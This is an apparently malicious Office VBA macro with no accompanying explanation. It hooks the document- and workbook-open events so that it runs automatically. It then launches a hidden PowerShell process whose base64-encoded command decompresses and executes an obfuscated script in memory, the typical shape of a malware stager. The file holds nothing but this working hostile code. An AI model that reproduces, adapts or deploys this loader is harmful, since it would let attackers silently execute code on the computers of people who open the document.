Private Sub Document_Open()
If ActiveDocument.Variables("xyQLwv").Value <> "toto" Then
vLPLaMYjKLyKtLD
ActiveDocument.Variables("xyQLwv").Value = "toto"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

Sub ahaa()
  Dim f1D9F0dOZO
  f1D9F0dOZO = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAb" _
& "wB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwA" _
& "kAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPA" _
& "C4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEASQB4AFIAUgAxAHMAQwBBADc" _
& "AVgBXACsAMgArAGIAUwBCAEQAKwBPAFoASAB5AFAANgBEAEsARQBxAEEAUQBnAHgATwBuAGEAUwBKAFYAdQBzAFYAUABIAEoAUABZAEkAWABiAHMAdQBGAGEAMQBnAFEAWABXAFgAcwBDAEIAeABhADkAZQAvAC8AYwBiAGIARwBqAFQAYQAzAHEAWABuAG4AVABJAGoAMwAzAE0AegBNADUAOAA4ADgAMABzAGIAaAByAGEAbgBFAGEAaABFAEsAN" _
& "gA3AEcAaABHACsASABCADAAZQA5AEgAQwBNAEEAMABFAHEAMABmAFoAOABmAGEAMABJAHAAWABpADQAQwB1AFcARABBADkAZwBwAHoAUwA2AEYAagA0AEkAMABRAFkAdABGAFAAUQBvAHcARABhAGQAWABWADcAVQAwAGoAawBuAEkAOQAvAE4AeQBpADMAQwBVAEoAQwBSADQAWQBwAFEAawBrAGkAegA4AEsAVAB6ADQASgBDAFkAbgB0ADAAOAB" _
& "6AFkAbgBQAGgAaQAxAEQANgBYAEcANgB4ADYAQQBtAHoAWABHAHgAVAB3ADcAWgBQAGgAQgBNAFUATwB0AGwAZQBOADcASgB4ADUAawA3AFoAVwBqAEQASwBKAGYASABUAEoAMQBHAGUAbgBGAFMAbQA1AGMAWgB6AGkAbABrAGkAaQBkAFkAbQA0AFMAUQBvAE8ANAB5AEoAcwB2AEIAVgB6AGcANgA4ADMAeQB5AEkASgBKAHIAVQBqAHEATQBrA" _
& "GMAbgBuADUAZwBZAFoAbgBwACsAVgBCAG0ARwBDAFgAMwBJAEMAMQBKAFQARQBKADkAeQBNAG4ARQBXAFcASQBBAFQANAB4ADQAVwBrAGMAQwBoAEIATgBwAHIANwBmAGwARQBRAFkAOQB1AEwASQBSAG8ANABUAGsAeQBRAFIARgBXAEcAUwBHAFoANQBNAHAAMwA5AEkAawAvAHoAVQB1AHoAVABrAE4AQwBCAGwASQArAFEAawBqAGgAWQBXAGk" _
& "AWgBmAFUASgBrAG0ANQBqAFUATwBIAGsAVAB2AGkAVABrAEgATAA0AGoARQBOAHYAYQBrAHMAZwA5AGcAeQBtAGgATwBwAEYASwBhAE0ASwBjAEwAdgBtAEoARgB1AHkASwByAEEANwBLADEASwAwAGsAcwBsAGsATwByAHgAVwBGAFkAZwBqAFQAOQBGAGEAVQBaAE8AeQBzAGgAZQBUADMAegBGAHoAWAAzAGkAWgBYAGkASwA1AEEATgB1AFgAN" _
& "AA4AE8AagB3ADcAZABnAGkAdwB6ADQAeQA1ADgAeQBSAFUAWQBIAFUAeAAyAFkAdwBMAGUAUwBiADAAbwBvAFQAdQA1AGoANABLAG0AQwBDAGEAYwBoAEgAawBVAGIAMgBCAGEAdQBvADkAVABJAGsAKwAvAFkAUQBzAEgAbgBKADEALwBQAGwAZAArAGIAYQBCAFMAUwBJAFAAcwBjAGcAdwBMAGsAMgBGAEUAbgBTAGsAbwA1AE4AawBzAGIAWQB" _
& "4AGUAdAB2AHgAcgBVAHQAYQBKAFMAMABOAFMAMwA0AFEANABvAEgAYgBCAE8AKwBrADEAagBJAG4ATAB5AEMANwBDAGMAaQBGADIAQQB4ADUASgBZAHIANQBCAG4ARABwAGgAeABNAE0AOAB3AHkAMQBMADkAVQA5AHEAagBZAEQAeQBiADcAcAA2AFMAcABsAEQAWQBtAFIARABuAGgATAB3AEMAbABJAG8ALwArAGoATQBQAGgAVwBTAGEASQBRA" _
& "G0AQwBRAEMAaAAvAFIAeQA0AFYAMwBLAEIANwBhAFMAUQB6AGgAbQArAEsAVQA3AFAANQBpAEEAawAxAGgAaABPAEUAawBYAG8AcABWAEIAdQB0AGkASgBZAEIARABQAGkASwBBAEkASwBFADUAcAB2AG8AWgBSAEgAdQA2AEgANAAzAFYAMAB6AFoAWgB6AGEATwBPAEcARgB1AGEAbQBjAHcANQBnAGYAVgA0AHYAQwBoAE0AZQBwAEQAVABtAEQ" _
& "AMABPACsAdABCAGIARQBwAFoAaABrAFMAaQB0AEMAbQBEAHQARQAzAEYAdgBXAEsAWQA4AFYAWABjAGEAaABoAHgAcQBBAEsAdwBOAEkAUwA4AGcAQQByAFcAZgB3AFcAegA1AGcAUQBPADAAcQBlAGQAYgBsAHMARQBXADQARQBDADAAWQBDAEUATgByAFYAZgBaAE4AaABEADYAbwA4AEoALwB1AE8ATwA5AGcAagBqAHYAZwAzAEQAdwBzADIAN" _
& "wA2AG0AYgBRAFYARgBnADgATQBJAC8AeQBLAC8ARgBJAHEANABJAFEAeABwAHoANgBCADQAWgByAE0AdgB4AGYAegB6ADgAUgBkAHYASQAzAEsAagBGAEoATQArAEQAVgBCAFQASABSAE4ALwB3AGoATgBJAGwAWAA4AHUANgBaAEEASABLAEQAbwBLAFkAUQAvAGoATgBPAEEAcAAwAG4ASgBEADMAMQBYADIATABrAE4ANgBwAHQANwBTAEcANAB" _
& "CAGsAYgBJAFQATgB0AGYAVQA0AHIAYQBFAFUAcgBoAGcAbgBmAEEAVAAwAHoAbwB2AHEARgBjADkAMgBaAHQAZABXADQAdgB2AFoAZABaAEMAUwBHADIAZQA3AFYAKwArADEAMgBkAGQAbQB4AGgAbABWAHUATgBRAHgAKwAzAFQATwA0ADIAUgBqAE4AWgBoAFoAcQAzAHcAMwBHAC8ATgBGAEEANwBYAHUAcQB6AGMAZgBWADcAYQBKAEQAdAAxA" _
& "FkAWABPAGUATwAxACsAbgA2AHIAYgAxAGUAYQB2AHQANwBPAFAATQBjAGQAMQAxADMAWAB1ADMAQwB0AHUAOABwADUAawAzAFkAZgBhAG4AMQBkAE8AOABYAGQAZQBpAFAAdABQAHUAZwByAFgAYQBzAG0ARABiAHAAcQA5ACsAbQBnAFAAKwA4ADAAKwBkAE4ANAB5AFAARABBAFYAYgAxAFIANQBSAEwAVABkAFQAZQBlAEQAUwB1AFIAdQBUAFU" _
& "AUQBhAHYAbABuADkAcgBiAGoARABsAHUAKwA2AFcAegBHAGIAVQBwAG0AcQB0AGEAbABmAGQAUgBIADYATgBxACsARwB3AHgAYQAzAHMASgByAEoAVQBpADkASABEADcAWABnAGgAbAA2AHIAcQA4ADAAagBFAEQAdgBLAGUAMgBjAE0ANwAwAC8AYQBPAHAAbwAwAE4ARAA3ACsARABiAHEAbgBSADMAWAAxAGMAcQBqADgAOQB4AG8AUABvADUAd" _
& "wBKADIAQgBPAHEANgAxAFcAeABpAFAAawBvAEYAaQA5ADkALwB6AEsAeABhADAAZgBaAGoAaABoAFQAMwAvAFcATQB4AG4AVQBmAGQAdwAwAFYAWgBEAHAAVgBWAEcANwBlAGsAcQAzAGoAOAAvADkAbABvAGMAYQBJAEQATQBNAEkAbwBTAGIAZABEADQANABIAG8ASABOAG0AMwB2AFEAZQBSAGgAVQBuAEEAagB4ADAAQgBpAHAANgB0AEIAVAB" _
& "QAGUAUgBhAC8AaABnAGoASABhAFQAMQBaADkAVABVAG8AOQByAG0AUQA4AC8AcwBxAGMAUABoAHEAVgA5ADUAbQBsAGQAOAA4AEoAbQBNAGwAaAAvAE0ARABqAHAAdQAyAGoAMQBWAFYAWQArAEQASgAvAGgAVgBrAFcAMAB1ADEAdQBGAEkAWAAxADAAcwBWAHgAeAAzAEgAcwBEADIAdgBYAG8ANQArAFAAZwB1AFkAdwBoAFEAcABMAFMANgBmA" _
& "HAASAA1AFgAMwBWAHMARQA4AGUASgBqAHgAawB3AEEAcABwAHgAVQBZAFAATgBLAEcANwBtADMAYgBVAFgAMABVAHgARABrAHYAWgBYADgAcAB6AEUASQBXAEYAdwBvADgARwBkAFYAMQBBAFoATQBSAGIAWgBXAFgAZgBmAE4AVwBLADQAVwBmAGIAOQBQAHIAdAArAEIAagBBADgATwAzADEAMQBKAEEAdgBmAEIATwBYAHYAZgBiADkAWQB1AHI" _
& "AcAA2AEIARABlAGgAUABJAEMALwA1AFMANABKAFAAZQA0AHIAMgB2AHAATQAwADYAQwBGAGEAKwB1AHEAQgBqAEcAKwBQAGIASgBhAHQATgBoAEkAbQBTAFUAbAB1AHcARQBBAGwAOQB3AHUAMgA5AG0AVgBzADMAbwBwACsAWQArACsAMwAvAG0AZgA4AGMAcgByADEASQBjAC8ANQA5AC8AdwArAHIANwAyAEQANwB0AHYAdwBsAEIAVABzAG8Aa" _
& "AAvAFcAdgB4AHgANABiAGYAdwAvAFAAMwBJAEgAegBEAGwASQBHAHAAQgBvADIARgBrAGYAOAAyADkARABrAEQATwBqAFIAYwB2AEEAcgB2AEUAUQBPADcAZAAvAE0AbABlADQAMgA1AFQAZgBuAEkARABMAHcAaABIAGgAMwA4AEIAcAB4AGgAdABVAEQASQBLAEEAQQBBAD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQB" _
& "vAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1A" _
& "HQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQ" _
& "AKAAkAHMAKQA7AA=="
  Call shell(f1D9F0dOZO, vbHide)
End Sub
Sub AutoOpen()
  ahaa
End Sub
Sub Workbook_Open()
  ahaa
End Sub